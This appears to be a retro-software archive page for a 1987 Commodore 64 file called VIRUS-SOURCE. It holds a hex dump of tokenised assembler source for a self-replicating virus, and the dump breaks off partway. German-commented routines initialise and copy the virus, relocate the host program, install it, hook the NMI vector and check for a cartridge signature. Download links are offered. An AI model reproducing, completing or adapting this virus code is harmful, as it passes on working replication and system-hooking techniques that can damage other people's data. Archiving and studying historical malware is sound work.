VIRUS-SOURCE
FILE INFORMATION
FILENAME(S): VIRUS-SOURCE
FILE TYPE(S): PRG
FILE SIZE: 18.8K
FIRST SEEN: 2025-10-20 14:29:52
APPEARS ON: 2 disk(s)
FILE HASH
43c34b9e61ced1175b6304d1b6431159e4fda709335422b9d5667247621d979b
FOUND ON DISKS (2 DISKS)
| DISK TITLE | FILENAME | FILE TYPE | COLLECTION | TRACK | SECTOR | ACTIONS |
|---|---|---|---|---|---|---|
| PUBLIC DOMAIN | VIRUS-SOURCE | PRG | Treasure Chest - Klaus Der Suhler | 17 | 0 | DOWNLOAD FILE |
| MASTERMMSOFT | VIRUS-SOURCE | PRG | Treasure Chest - Klaus Der Suhler | 17 | 0 | DOWNLOAD FILE |
FILE CONTENT & ANALYSIS
> DETECTED: COMMODORE BASIC PROGRAM (LOAD ADDRESS $0801)
00000000: 01 08 4E 08 00 00 8F 20 43 4F 50 59 52 49 47 48 |..N.... COPYRIGH|
00000010: 54 20 31 39 38 37 20 42 59 20 42 48 50 2B 50 41 |T 1987 BY BHP+PA|
00000020: 50 41 20 48 41 43 4B 45 52 20 20 20 20 20 20 20 |PA HACKER |
00000030: 20 56 49 52 55 53 20 43 2D 36 34 20 20 20 4D 55 | VIRUS C-64 MU|
00000040: 4E 49 43 48 20 31 38 2E 32 2E 31 39 38 37 00 66 |NICH 18.2.1987.f|
00000050: 08 01 00 8B 41 B2 30 A7 41 B2 31 3A 93 22 56 49 |....A.0.A.1:."VI|
00000060: 52 55 53 22 2C 38 00 72 08 02 00 9E 39 AC 34 30 |RUS",8.r....9.40|
00000070: 39 36 00 7E 08 03 00 2E 4F 50 54 20 4F 31 00 93 |96.~....OPT O1..|
00000080: 08 04 00 53 54 41 52 54 20 20 20 20 B2 20 24 44 |...START . $D|
00000090: 30 30 30 00 A8 08 05 00 AC B2 20 20 20 20 20 20 |000....... |
000000A0: 20 20 20 53 54 41 52 54 00 BA 08 0A 00 50 41 52 | START.....PAR|
000000B0: 20 20 20 20 20 B2 20 24 42 37 00 CC 08 0B 00 4D | . $B7.....M|
000000C0: 45 4D 20 20 20 20 20 B2 20 24 35 38 00 E0 08 0C |EM . $58....|
000000D0: 00 53 45 54 50 41 52 20 20 B2 20 24 46 46 42 41 |.SETPAR . $FFBA|
000000E0: 00 F4 08 0D 00 53 45 54 4E 41 4D 45 20 B2 20 24 |.....SETNAME . $|
000000F0: 46 46 42 44 00 05 09 0E 00 49 45 43 9F 20 B2 20 |FFBD.....IEC. . |
00000100: 24 46 33 44 35 00 17 09 0F 00 53 45 4B 20 20 20 |$F3D5.....SEK |
00000110: 20 20 B2 20 24 42 39 00 29 09 10 00 44 45 56 20 | . $B9.)...DEV |
00000120: 20 20 20 20 B2 20 24 42 41 00 3A 09 11 00 53 45 | . $BA.:...SE|
00000130: 4B 9B 20 B2 20 24 46 46 39 33 00 4E 09 12 00 53 |K. . $FF93.N...S|
00000140: 45 4B 54 41 4C 4B 20 B2 20 24 46 46 39 36 00 5F |EKTALK . $FF96._|
00000150: 09 13 00 9B 20 20 20 20 B2 20 24 46 46 42 31 00 |.... . $FFB1.|
00000160: 73 09 14 00 54 41 4C 4B 20 20 20 20 B2 20 24 46 |s...TALK . $F|
00000170: 46 42 34 00 84 09 15 00 55 4E 9B 20 20 B2 20 24 |FB4.....UN. . $|
00000180: 46 46 41 45 00 98 09 16 00 55 4E 54 41 4C 4B 20 |FFAE.....UNTALK |
00000190: 20 B2 20 24 46 46 41 42 00 AA 09 17 00 49 45 43 | . $FFAB.....IEC|
000001A0: A1 20 20 B2 20 24 46 46 41 35 00 BE 09 18 00 49 |. . $FFA5.....I|
000001B0: 45 43 4F 55 54 20 20 B2 20 24 46 46 41 38 00 D0 |ECOUT . $FFA8..|
000001C0: 09 19 00 53 54 41 54 55 53 20 20 B2 20 24 39 30 |...STATUS . $90|
000001D0: 00 E2 09 1A 00 43 4F 55 4E 54 20 20 20 B2 20 4D |.....COUNT . M|
000001E0: 45 4D 00 F2 09 1B 00 A0 20 20 20 B2 20 24 46 36 |EM...... . $F6|
000001F0: 34 32 00 0A 0A 1C 00 42 41 4D 20 20 20 20 20 B2 |42.....BAM .|
00000200: 20 43 4F 55 4E 54 20 AA 20 31 00 22 0A 1D 00 54 | COUNT . 1."...T|
00000210: 52 41 43 4B 20 20 20 B2 20 42 41 4D 20 20 20 AA |RACK . BAM .|
00000220: 20 33 00 3A 0A 1E 00 56 54 52 41 43 4B 20 20 B2 | 3.:...VTRACK .|
00000230: 20 54 52 41 43 4B 20 AA 20 31 00 50 0A 1F 00 B8 | TRACK . 1.P....|
00000240: 45 20 20 20 20 B2 20 56 54 52 41 03 4B AA 20 31 |E . VTRA.K. 1|
00000250: 00 66 0A 20 00 50 55 46 46 45 52 20 20 B2 20 B8 |.f. .PUFFER . .|
00000260: 45 20 20 AA 20 31 00 7E 0A 21 00 4A 4F 42 20 20 |E . 1.~.!.JOB |
00000270: 20 20 20 B2 20 50 55 46 46 45 52 AA 20 31 00 96 | . PUFFER. 1..|
00000280: 0A 22 00 44 4F 20 20 20 20 20 20 B2 20 4A 4F 42 |.".DO . JOB|
00000290: 20 20 20 AA 20 31 00 A8 0A 23 00 58 20 20 20 20 | . 1...#.X |
000002A0: 20 20 20 B2 20 42 41 4D 00 C0 0A 24 00 59 20 20 | . BAM...$.Y |
000002B0: 20 20 20 20 20 B2 20 42 41 4D 20 20 20 AA 20 31 | . BAM . 1|
000002C0: 00 D8 0A 25 00 5A 20 20 20 20 20 20 20 B2 20 42 |...%.Z . B|
000002D0: 41 4D 20 20 20 AA 20 32 00 E9 0A 26 00 42 41 53 |AM . 2...&.BAS|
000002E0: 49 43 53 20 20 B2 20 34 33 00 01 0B 27 00 41 44 |ICS . 43...'.AD|
000002F0: 52 20 20 20 20 20 B2 20 44 4F 20 20 20 20 AA 20 |R . DO . |
00000300: 31 00 18 0B 28 00 53 45 43 A4 52 20 20 B2 20 41 |1...(.SEC.R . A|
00000310: 44 52 20 20 20 AA 20 31 00 2F 0B 29 00 56 53 45 |DR . 1./.).VSE|
00000320: 43 20 20 20 20 B2 20 53 45 43 A4 52 AA 20 31 00 |C . SEC.R. 1.|
00000330: 3F 0B 2A 00 42 4C 4F 43 4B 53 20 20 B2 20 38 00 |?.*.BLOCKS . 8.|
00000340: 50 0B 2B 00 57 B0 4B 20 20 20 20 B2 20 24 38 42 |P.+.W.K . $8B|
00000350: 00 62 0B 2C 00 4D 45 4D 31 20 20 20 20 B2 20 57 |.b.,.MEM1 . W|
00000360: B0 4B 00 79 0B 2D 00 4D 45 4D 32 20 20 20 20 B2 |.K.y.-.MEM2 .|
00000370: 20 57 B0 4B 20 20 AA 20 31 00 90 0B 2E 00 4D 45 | W.K . 1.....ME|
00000380: 4D 33 20 20 20 20 B2 20 57 B0 4B 20 20 AA 20 32 |M3 . W.K . 2|
00000390: 00 A7 0B 2F 00 4D 45 4D 34 20 20 20 20 B2 20 57 |.../.MEM4 . W|
000003A0: B0 4B 20 20 AA 20 33 00 BB 0B 30 00 42 52 45 41 |.K . 3...0.BREA|
000003B0: 4B 50 20 20 B2 20 24 30 33 31 36 00 CC 0B 31 00 |KP . $0316...1.|
000003C0: 42 41 53 49 43 45 20 20 B2 20 34 35 00 DB 0B 32 |BASICE . 45...2|
000003D0: 00 93 45 20 20 20 B2 20 24 41 45 00 EA 0B 33 00 |..E . $AE...3.|
000003E0: 4C 49 4E 4B C3 20 B2 20 38 38 00 FB 0B 34 00 93 |LINK. . 88...4..|
000003F0: 50 20 20 20 B2 20 24 30 33 33 30 00 0C 0C 35 00 |P . $0330...5.|
00000400: 94 50 20 20 20 B2 20 24 30 33 33 32 00 20 0C 36 |.P . $0332. .6|
00000410: 00 4C 49 4E 4B 20 20 20 20 B2 20 24 30 32 41 37 |.LINK . $02A7|
00000420: 00 34 0C 37 00 4E 4D 49 54 41 48 20 20 B2 20 24 |.4.7.NMITAH . $|
00000430: 44 44 30 35 00 48 0C 38 00 4E 4D 49 54 02 48 20 |DD05.H.8.NMIT.H |
00000440: 20 B2 20 24 44 44 30 37 00 5C 0C 39 00 4E 4D 49 | . $DD07.\.9.NMI|
00000450: 50 20 20 20 20 B2 20 24 30 33 31 38 00 70 0C 3A |P . $0318.p.:|
00000460: 00 52 4F 4D 54 45 53 54 20 B2 20 24 46 44 30 32 |.ROMTEST . $FD02|
00000470: 00 84 0C 3B 00 57 41 52 4D 50 20 20 20 B2 20 24 |...;.WARMP . $|
00000480: 30 33 30 32 00 98 0C 3C 00 49 52 51 50 20 20 20 |0302...<.IRQP |
00000490: 20 B2 20 24 30 33 31 34 00 AC 0C 3D 00 49 52 51 | . $0314...=.IRQ|
000004A0: 45 20 20 20 20 B2 20 24 45 41 33 31 00 C0 0C 3E |E . $EA31...>|
000004B0: 00 4E 4D 49 45 20 20 20 20 B2 20 24 45 41 38 36 |.NMIE . $EA86|
000004C0: 00 D1 0C 3F 00 90 20 20 20 20 B2 20 24 46 46 45 |...?.. . $FFE|
000004D0: 31 00 E5 0C 40 00 43 48 41 52 4F 55 54 20 B2 20 |1...@.CHAROUT . |
000004E0: 24 46 46 44 32 00 03 0D E8 03 2E 42 59 54 45 20 |$FFD2......BYTE |
000004F0: 30 33 31 2C 30 30 38 2C 31 39 34 2C 30 30 37 2C |031,008,194,007,|
00000500: 31 35 38 00 27 0D F2 03 56 49 52 55 53 20 2E 42 |158.'...VIRUS .B|
00000510: 59 54 45 20 31 39 34 2C 30 34 30 2C 30 35 32 2C |YTE 194,040,052,|
00000520: 30 35 31 2C 30 34 31 00 45 0D FC 03 2E 42 59 54 |051,041.E....BYT|
00000530: 45 20 31 37 30 2C 31 39 34 2C 30 34 30 2C 30 35 |E 170,194,040,05|
00000540: 32 2C 30 35 32 00 63 0D 06 04 2E 42 59 54 45 20 |2,052.c....BYTE |
00000550: 30 34 31 2C 31 37 32 2C 30 35 30 2C 30 35 33 2C |041,172,050,053,|
00000560: 30 35 34 00 81 0D 10 04 2E 42 59 54 45 20 31 37 |054......BYTE 17|
00000570: 30 2C 30 35 32 2C 30 35 36 2C 30 35 38 2C 30 38 |0,052,056,058,08|
00000580: 36 00 9F 0D 1A 04 2E 42 59 54 45 20 30 37 33 2C |6......BYTE 073,|
00000590: 30 38 32 2C 30 38 35 2C 30 38 33 2C 30 30 30 00 |082,085,083,000.|
000005A0: B1 0D 24 04 2E 42 59 54 45 20 30 30 30 2C 30 30 |..$..BYTE 000,00|
000005B0: 30 00 C5 0D 29 04 2E 57 B0 44 20 42 4C 4F 43 4B |0...)..W.D BLOCK|
000005C0: 53 AC 32 35 34 00 EF 0D 2A 04 2E 42 59 54 45 20 |S.254...*..BYTE |
000005D0: 24 41 37 2C 24 41 44 2C 24 41 36 2C 24 35 44 2C |$A7,$AD,$A6,$5D,|
000005E0: 24 41 35 2C 24 33 32 2C 24 41 36 2C 24 38 44 00 |$A5,$32,$A6,$8D.|
000005F0: FB 0D 2B 04 AC B2 AC 20 AA 20 36 00 1A 0E 2E 04 |..+.... . 6.....|
00000600: 3B 31 39 38 36 20 9E C2 28 34 33 29 AA C2 28 34 |;1986 ..(43)..(4|
00000610: 34 29 AC 32 35 36 AA 34 38 3A 00 25 0E 38 04 3B |4).256.48:.%.8.;|
00000620: 56 49 52 55 53 00 49 0E CF 07 3B AB AB AB 49 4E |VIRUS.I...;...IN|
00000630: 49 54 49 41 4C 49 53 49 45 52 45 AB 56 49 52 55 |ITIALISIERE.VIRU|
00000640: 53 AB AB AB B1 49 4E 49 54 00 55 0E D0 07 4C 44 |S....INIT.U...LD|
00000650: 59 20 23 33 34 00 6E 0E DA 07 49 4E 49 54 33 20 |Y #34.n...INIT3 |
00000660: 4C 44 41 20 28 42 41 53 49 43 53 29 2C 59 00 76 |LDA (BASICS),Y.v|
00000670: 0E E4 07 50 48 41 00 7E 0E EE 07 49 4E 59 00 8A |...PHA.~...INY..|
00000680: 0E F8 07 43 50 59 20 23 34 32 00 98 0E 02 08 42 |...CPY #42.....B|
00000690: 4E 45 20 49 4E 49 54 33 00 B2 0E 70 08 50 48 50 |NE INIT3...p.PHP|
000006A0: 20 20 20 20 20 20 20 20 20 20 3B 53 54 41 54 55 | ;STATU|
000006B0: 53 2C 00 D6 0E 7A 08 53 45 49 20 20 20 20 20 20 |S,...z.SEI |
000006C0: 20 20 20 20 3B B5 45 52 52 55 50 54 20 53 50 45 | ;.ERRUPT SPE|
000006D0: 52 52 45 4E 20 21 00 EE 0E 84 08 50 48 41 20 20 |RREN !.....PHA |
000006E0: 20 20 20 20 20 20 20 20 3B 41 4B 4B 55 2C 00 13 | ;AKKU,..|
000006F0: 0F 8E 08 4C 44 41 20 31 20 20 20 20 20 20 20 20 |...LDA 1 |
00000700: 3B 55 4E 44 20 53 50 45 49 43 48 45 52 4B 91 46 |;UND SPEICHERK.F|
00000710: 49 47 2E 00 2C 0F 98 08 50 48 41 20 20 20 20 20 |IG..,...PHA |
00000720: 20 20 20 20 20 3B 52 45 54 54 45 4E 00 3C 0F A2 | ;RETTEN.<..|
00000730: 08 4C 44 41 20 23 B1 80 49 54 AB 31 00 61 0F AC |.LDA #..IT.1.a..|
00000740: 08 50 48 41 20 20 20 20 20 20 20 20 20 20 3B 52 |.PHA ;R|
00000750: 55 45 43 4B 4B 45 48 52 50 55 4E 4B 54 20 56 4F |UECKKEHRPUNKT VO|
00000760: 4D 00 7B 0F B6 08 4C 44 41 20 23 B3 80 49 54 AB |M.{...LDA #..IT.|
00000770: 31 3B 56 49 52 55 53 9E 54 45 4D 00 83 0F C0 08 |1;VIRUS.TEM.....|
00000780: 50 48 41 00 8E 0F CA 08 4C 44 41 20 23 30 00 B3 |PHA.....LDA #0..|
00000790: 0F D4 08 53 54 41 20 31 20 20 20 20 20 20 20 20 |...STA 1 |
000007A0: 3B 41 55 46 20 52 41 4D 20 55 4D 53 43 48 41 4C |;AUF RAM UMSCHAL|
000007B0: 54 45 4E 00 C0 0F DE 08 4C 44 59 20 23 24 30 33 |TEN.....LDY #$03|
000007C0: 00 D4 0F E8 08 49 4E 49 54 31 20 4C 44 41 20 57 |.....INIT1 LDA W|
000007D0: B0 4B 2C 59 00 DC 0F F2 08 50 48 41 00 E4 0F FC |.K,Y.....PHA....|
000007E0: 08 44 45 59 00 F2 0F 06 09 42 50 4C 20 49 4E 49 |.DEY.....BPL INI|
000007F0: 54 31 00 16 10 10 09 4C 44 41 20 42 41 53 49 43 |T1.....LDA BASIC|
00000800: 53 20 20 20 3B 4B 4F 50 49 45 52 45 20 44 45 4E |S ;KOPIERE DEN|
00000810: 20 56 49 52 55 53 00 3A 10 1A 09 53 54 41 20 4D | VIRUS.:...STA M|
00000820: 45 4D 31 20 20 20 20 20 3B 55 4E 54 45 52 20 49 |EM1 ;UNTER I|
00000830: AD 4F 20 42 45 52 45 49 43 48 00 4B 10 24 09 4C |.O BEREICH.K.$.L|
00000840: 44 41 20 42 41 53 49 43 53 AA 31 00 58 10 2E 09 |DA BASICS.1.X...|
00000850: 53 54 41 20 4D 45 4D 32 00 68 10 38 09 4C 44 41 |STA MEM2.h.8.LDA|
00000860: 20 23 B3 53 54 41 52 54 00 75 10 42 09 53 54 41 | #.START.u.B.STA|
00000870: 20 4D 45 4D 33 00 85 10 4C 09 4C 44 41 20 23 B1 | MEM3...L.LDA #.|
00000880: 53 54 41 52 54 00 92 10 56 09 53 54 41 20 4D 45 |START...V.STA ME|
00000890: 4D 34 00 A2 10 60 09 4C 44 58 20 23 42 4C 4F 43 |M4...`.LDX #BLOC|
000008A0: 4B 53 00 AD 10 6A 09 4C 44 59 20 23 30 00 C4 10 |KS...j.LDY #0...|
000008B0: 74 09 49 4E 49 54 32 20 4C 44 41 20 28 4D 45 4D |t.INIT2 LDA (MEM|
000008C0: 31 29 2C 59 00 D5 10 7E 09 53 54 41 20 28 4D 45 |1),Y...~.STA (ME|
000008D0: 4D 33 29 2C 59 00 DD 10 88 09 49 4E 59 00 EB 10 |M3),Y.....INY...|
000008E0: 92 09 42 4E 45 20 49 4E 49 54 32 00 F8 10 9C 09 |..BNE INIT2.....|
000008F0: 49 4E 43 20 4D 45 4D 32 00 05 11 A6 09 49 4E 43 |INC MEM2.....INC|
00000900: 20 4D 45 4D 34 00 0D 11 B0 09 44 45 58 00 1B 11 | MEM4.....DEX...|
00000910: BA 09 42 4E 45 20 49 4E 49 54 32 00 25 11 C4 09 |..BNE INIT2.%...|
00000920: 4A 4D 50 20 A2 00 49 11 B8 0B 3B AB AB AB AB 56 |JMP ..I...;....V|
00000930: 45 52 53 43 48 49 45 42 45 20 50 52 4F 47 52 41 |ERSCHIEBE PROGRA|
00000940: 4D 4D AB AB B1 4D 4F 56 45 00 6C 11 C2 0B 4D 4F |MM...MOVE.l...MO|
00000950: 56 45 20 53 45 43 20 20 20 20 20 3B 53 45 54 5A |VE SEC ;SETZ|
00000960: 45 20 50 52 4F 47 52 41 4D 4D 80 45 00 81 11 CC |E PROGRAMM.E....|
00000970: 0B 4C 44 41 20 93 45 20 20 20 20 3B 50 4F B5 45 |.LDA .E ;PO.E|
00000980: 52 00 8D 11 D1 0B 4C 44 59 20 23 33 32 00 A0 11 |R.....LDY #32...|
00000990: D6 0B 53 42 43 20 28 42 41 53 49 43 53 29 2C 59 |..SBC (BASICS),Y|
000009A0: 00 AF 11 E0 0B 53 54 41 20 42 41 53 49 43 45 00 |.....STA BASICE.|
000009B0: BA 11 EA 0B 53 54 41 20 93 45 00 C8 11 F4 0B 4C |....STA .E.....L|
000009C0: 44 41 20 93 45 20 AA 31 00 D0 11 F9 0B 49 4E 59 |DA .E .1.....INY|
000009D0: 00 E3 11 FE 0B 53 42 43 20 28 42 41 53 49 43 53 |.....SBC (BASICS|
000009E0: 29 2C 59 00 F4 11 08 0C 53 54 41 20 42 41 53 49 |),Y.....STA BASI|
000009F0: 43 45 AA 31 00 02 12 12 0C 53 54 41 20 93 45 20 |CE.1.....STA .E |
00000A00: AA 31 00 0D 12 1C 0C 4C 44 41 20 23 30 00 30 12 |.1.....LDA #0.0.|
00000A10: 26 0C 53 54 41 20 4D 45 4D 31 20 20 20 20 20 3B |&.STA MEM1 ;|
00000A20: 56 45 52 53 43 48 49 45 42 45 20 50 4F B5 45 52 |VERSCHIEBE PO.ER|
00000A30: 00 4C 12 30 0C 4C 44 41 20 42 41 53 49 43 53 AA |.L.0.LDA BASICS.|
00000A40: 31 20 3B 42 45 52 45 43 48 4E 45 4E 00 59 12 3A |1 ;BERECHNEN.Y.:|
00000A50: 0C 53 54 41 20 4D 45 4D 32 00 61 12 44 0C 43 4C |.STA MEM2.a.D.CL|
00000A60: 43 00 69 12 49 0C 44 45 59 00 7C 12 4E 0C 4C 44 |C.i.I.DEY.|.N.LD|
00000A70: 41 20 28 42 41 53 49 43 53 29 2C 59 00 8B 12 58 |A (BASICS),Y...X|
00000A80: 0C 41 44 43 20 42 41 53 49 43 53 00 98 12 62 0C |.ADC BASICS...b.|
00000A90: 53 54 41 20 4D 45 4D 33 00 A0 12 67 0C 49 4E 59 |STA MEM3...g.INY|
00000AA0: 00 B3 12 6C 0C 4C 44 41 20 28 42 41 53 49 43 53 |...l.LDA (BASICS|
00000AB0: 29 2C 59 00 C4 12 76 0C 41 44 03 20 42 41 53 49 |),Y...v.AD. BASI|
00000AC0: 43 53 AA 31 00 D1 12 80 0C 53 54 41 20 4D 45 4D |CS.1.....STA MEM|
00000AD0: 34 00 D9 12 8A 0C 53 45 43 00 E6 12 94 0C 4C 44 |4.....SEC.....LD|
00000AE0: 41 20 4D 45 4D 33 00 F5 12 9E 0C 53 42 43 20 42 |A MEM3.....SBC B|
00000AF0: 41 53 49 43 53 00 02 13 A8 0C 53 54 41 20 4D 45 |ASICS.....STA ME|
00000B00: 4D 33 00 0F 13 B2 0C 4C 44 41 20 4D 45 4D 34 00 |M3.....LDA MEM4.|
00000B10: 1A 13 BC 0C 53 42 43 20 23 30 00 27 13 C6 0C 53 |....SBC #0.'...S|
00000B20: 54 41 20 4D 45 4D 34 00 36 13 D0 0C 4C 44 59 20 |TA MEM4.6...LDY |
00000B30: 42 41 53 49 43 53 00 4B 13 DA 0C 4D 4F 56 45 31 |BASICS.K...MOVE1|
00000B40: 20 43 50 59 20 42 41 53 49 43 45 00 59 13 E4 0C | CPY BASICE.Y...|
00000B50: 42 4E 45 20 4D 4F 56 45 32 00 66 13 EE 0C 4C 44 |BNE MOVE2.f...LD|
00000B60: 41 20 4D 45 4D 32 00 77 13 F8 0C 43 4D 50 20 42 |A MEM2.w...CMP B|
00000B70: 41 53 49 43 45 AA 31 00 85 13 02 0D 42 45 51 20 |ASICE.1.....BEQ |
00000B80: 4D 4F 56 45 33 00 9C 13 0C 0D 4D 4F 56 45 32 20 |MOVE3.....MOVE2 |
00000B90: 4C 44 41 20 28 4D 45 4D 33 29 2C 59 00 AD 13 16 |LDA (MEM3),Y....|
00000BA0: 0D 53 54 41 20 28 4D 45 4D 31 29 2C 59 00 B5 13 |.STA (MEM1),Y...|
00000BB0: 20 0D 49 4E 59 00 DB 13 2A 0D 42 4E 45 20 4D 4F | .INY...*.BNE MO|
00000BC0: 56 45 31 20 20 20 20 3B 50 52 4F 47 52 41 4D 4D |VE1 ;PROGRAMM|
00000BD0: 20 41 4E 20 B0 47 49 4E 41 4C AB 00 01 14 34 0D | AN .GINAL....4.|
00000BE0: 49 4E 43 20 4D 45 4D 32 20 20 20 20 20 3B 41 44 |INC MEM2 ;AD|
00000BF0: 52 45 53 53 45 20 56 45 52 53 43 48 09 45 42 45 |RESSE VERSCH.EBE|
00000C00: 4E 00 0E 14 3E 0D 49 4E 43 20 4D 45 4D 34 00 1C |N...>.INC MEM4..|
00000C10: 14 48 0D 42 4E 45 20 4D 4F 56 45 31 00 2F 14 52 |.H.BNE MOVE1./.R|
00000C20: 0D 4D 4F 56 45 33 20 4C 44 41 20 93 45 AA 31 00 |.MOVE3 LDA .E.1.|
00000C30: 53 14 5C 0D 43 4D 50 20 23 24 38 30 20 20 20 20 |S.\.CMP #$80 |
00000C40: 20 3B 55 45 42 45 52 50 52 55 45 46 45 20 4C 41 | ;UEBERPRUEFE LA|
00000C50: 44 45 AB 00 6E 14 66 0D 42 43 53 20 4D 4F 56 45 |DE..n.f.BCS MOVE|
00000C60: 34 20 20 20 20 3B 80 41 44 52 45 53 53 45 00 79 |4 ;.ADRESSE.y|
00000C70: 14 70 0D 4C 44 58 20 23 39 00 8E 14 7A 0D 52 4F |.p.LDX #9...z.RO|
00000C80: 4D 20 4C 44 41 20 52 45 53 45 54 56 2C 58 00 9E |M LDA RESETV,X..|
00000C90: 14 84 0D 53 54 41 20 24 38 30 30 30 2C 58 00 A6 |...STA $8000,X..|
00000CA0: 14 8E 0D 44 45 58 00 B2 14 98 0D 42 50 4C 20 52 |...DEX.....BPL R|
00000CB0: 4F 4D 00 C0 14 A2 0D 4D 4F 56 45 34 20 52 54 53 |OM.....MOVE4 RTS|
00000CC0: 00 E1 14 A0 0F 3B AB AB AB AB 4E 45 55 53 54 41 |.....;....NEUSTA|
00000CD0: 52 54 20 56 49 52 55 53 AB AB AB AB AB AB AB B1 |RT VIRUS........|
00000CE0: A2 00 F1 14 AA 0F A2 20 4C 44 41 20 24 46 46 46 |....... LDA $FFF|
00000CF0: 41 00 13 15 B4 0F 50 48 41 20 20 20 20 20 20 20 |A.....PHA |
00000D00: 20 20 3B 4E 4D 49 AB 56 45 4B A4 52 20 52 45 54 | ;NMI.VEK.R RET|
00000D10: 54 45 4E 00 25 15 BE 0F 4C 44 41 20 24 46 46 46 |TEN.%...LDA $FFF|
00000D20: 42 20 20 20 3B 00 37 15 C8 0F 50 48 41 20 20 20 |B ;.7...PHA |
00000D30: 20 20 20 20 20 20 3B 00 56 15 D2 0F 4C 44 41 20 | ;.V...LDA |
00000D40: 23 B3 8E 3B 55 4E 44 20 41 55 46 20 52 54 49 20 |#..;UND AUF RTI |
00000D50: 53 45 54 5A 45 4E 00 68 15 DC 0F 53 54 41 20 24 |SETZEN.h...STA $|
00000D60: 46 46 46 41 20 20 20 3B 00 74 15 E6 0F 4C 44 41 |FFFA ;.t...LDA|
00000D70: 20 23 B1 8E 00 82 15 F0 0F 53 54 41 20 24 46 46 | #.......STA $FF|
00000D80: 46 42 00 A8 15 FA 0F 4A 53 52 20 4D 4F 56 45 20 |FB.....JSR MOVE |
00000D90: 20 20 20 3B 50 52 4F 47 52 41 4D 4D 20 56 45 52 | ;PROGRAMM VER|
00000DA0: 53 43 48 49 45 42 45 4E 00 B3 15 FB 0F 4C 44 41 |SCHIEBEN.....LDA|
00000DB0: 20 23 30 00 BB 15 FC 0F 54 41 59 00 C3 15 FD 0F | #0.....TAY.....|
00000DC0: 43 4C 43 00 D6 15 FE 0F 4E 31 20 41 44 43 20 56 |CLC.....N1 ADC V|
00000DD0: 49 52 55 53 2C 59 00 DE 15 FF 0F 52 4F 4C 00 E9 |IRUS,Y.....ROL..|
00000DE0: 15 00 10 41 44 43 20 23 30 00 F1 15 01 10 49 4E |...ADC #0.....IN|
00000DF0: 59 00 FD 15 02 10 43 50 59 20 23 32 37 00 08 16 |Y.....CPY #27...|
00000E00: 03 10 42 4E 45 20 4E 31 00 15 16 04 10 03 4D 50 |..BNE N1......MP|
00000E10: 20 23 31 38 36 00 20 16 05 10 42 45 51 20 4E 32 | #186. ...BEQ N2|
00000E20: 00 2B 16 07 10 4E 33 20 49 4E 59 00 3E 16 08 10 |.+...N3 INY.>...|
00000E30: 53 54 41 20 28 42 41 53 49 43 53 29 2C 59 00 49 |STA (BASICS),Y.I|
00000E40: 16 09 10 42 4E 45 20 4E 33 00 70 16 0D 10 4E 32 |...BNE N3.p...N2|
00000E50: 20 4A 53 52 20 49 4E 53 54 41 4C 4C 20 3B 56 49 | JSR INSTALL ;VI|
00000E60: 52 55 53 20 49 4E 53 54 41 4C 4C 49 45 52 45 4E |RUS INSTALLIEREN|
00000E70: 00 8F 16 0E 10 4A 4D 50 20 9E 9A 20 3B 52 55 45 |.....JMP .. ;RUE|
00000E80: 43 4B 4B 45 48 52 20 49 4E 53 20 9E 54 45 4D 00 |CKKEHR INS .TEM.|
00000E90: B0 16 68 10 3B AB AB AB AB AB 49 4E 53 54 41 4C |..h.;.....INSTAL|
00000EA0: 4C AB AB AB AB AB AB AB AB AB AB AB AB AB B1 49 |L..............I|
00000EB0: 00 C5 16 72 10 49 4E 53 54 41 4C 4C 20 4C 44 41 |...r.INSTALL LDA|
00000EC0: 20 4E 41 0D 45 00 D2 16 7C 10 43 4D 50 20 23 22 | NA.E...|.CMP #"|
00000ED0: 2A 22 00 DD 16 86 10 42 45 51 20 49 30 00 E8 16 |*".....BEQ I0...|
00000EE0: 87 10 42 4E 45 20 49 31 00 FD 16 8C 10 52 45 49 |..BNE I1.....REI|
00000EF0: 4E 53 54 20 4A 53 52 20 50 4F B5 45 52 00 1D 17 |NST JSR PO.ER...|
00000F00: 90 10 49 30 20 4A 53 52 20 8C 3B 5A 45 49 47 45 |..I0 JSR .;ZEIGE|
00000F10: 52 20 52 55 45 43 4B 53 45 54 5A 45 4E 00 43 17 |R RUECKSETZEN.C.|
00000F20: 9A 10 49 31 20 4A 53 52 20 52 45 4C 49 4E 4B 20 |..I1 JSR RELINK |
00000F30: 3B 4C 49 4E 4B AB 54 45 49 4C 20 4B 4F 50 49 45 |;LINK.TEIL KOPIE|
00000F40: 52 45 4E 00 61 17 A4 10 4A 53 52 20 50 4F B5 45 |REN.a...JSR PO.E|
00000F50: 52 20 20 20 3B 50 4F B5 45 52 20 53 45 54 5A 45 |R ;PO.ER SETZE|
00000F60: 4E 00 88 17 AE 10 4A 53 52 20 4D 41 4B 45 20 20 |N.....JSR MAKE |
00000F70: 20 20 20 20 3B AB B1 45 58 54 45 52 4E 20 41 55 | ;..EXTERN AU|
00000F80: 53 46 55 45 48 52 45 4E 00 AC 17 B8 10 4A 53 52 |SFUEHREN.....JSR|
00000F90: 20 52 4F 4D 54 45 53 54 20 20 20 3B 54 45 53 54 | ROMTEST ;TEST|
00000FA0: 20 41 55 46 20 43 42 4D 38 30 20 AE 00 B7 17 C2 | AUF CBM80 .....|
00000FB0: 10 42 4E 45 20 49 32 00 C2 17 CC 10 4C 44 58 20 |.BNE I2.....LDX |
00000FC0: 23 33 00 E4 17 D6 10 4A 53 52 20 52 4F 4D 20 20 |#3.....JSR ROM |
00000FD0: 20 20 20 20 20 3B 56 45 4B A4 52 45 4E 20 53 45 | ;VEK.REN SE|
00000FE0: 54 5A 45 4E 00 EF 17 E0 10 49 32 20 52 54 53 00 |TZEN.....I2 RTS.|
00000FF0: 10 18 30 11 3B AB AB AB AB AB 4C 49 4E 4B AB 54 |..0.;.....LINK.T|
00001000: 45 49 4C AB 4B 4F 50 49 45 52 45 4E AB AB B1 52 |EIL.KOPIEREN...R|
00001010: 00 26 18 3A 11 52 45 4C 49 4E 4B 20 4C 44 58 20 |.&.:.RELINK LDX |
00001020: 23 4C 49 4E 4B C3 00 3A 18 44 11 52 31 20 4C 44 |#LINK..:.D.R1 LD|
00001030: 41 20 45 58 54 45 52 4E 2C 58 00 5F 18 4E 11 53 |A EXTERN,X._.N.S|
00001040: 54 41 20 4C 49 4E 4B 2C 58 20 20 3B 4C 49 4E 4B |TA LINK,X ;LINK|
00001050: AB 54 45 49 4C 20 4E 41 43 48 20 4C 49 4E 4B 00 |.TEIL NACH LINK.|
00001060: 79 18 58 11 44 45 58 20 20 20 20 20 20 20 20 20 |y.X.DEX |
00001070: 3B 4B 4F 50 49 45 52 45 4E 00 84 18 62 11 42 50 |;KOPIEREN...b.BP|
